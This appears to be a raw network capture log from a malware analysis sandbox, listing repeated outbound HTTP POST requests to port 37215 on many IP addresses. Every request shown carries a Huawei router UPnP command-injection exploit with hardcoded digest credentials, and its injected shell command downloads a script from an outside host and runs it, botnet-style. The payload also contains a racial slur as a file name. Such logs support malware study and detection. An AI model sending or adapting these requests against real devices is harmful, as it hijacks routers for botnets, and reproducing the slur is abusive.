69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.23	34452	31.200.57.2	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:43.825206041 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.23	34154	31.136.61.127	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:43.968014956 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.522054911 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:45.609961987 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:47.881587029 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.232995033 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:00.935764074 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.365214109 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.23	40310	31.136.84.212	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:43.968703032 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 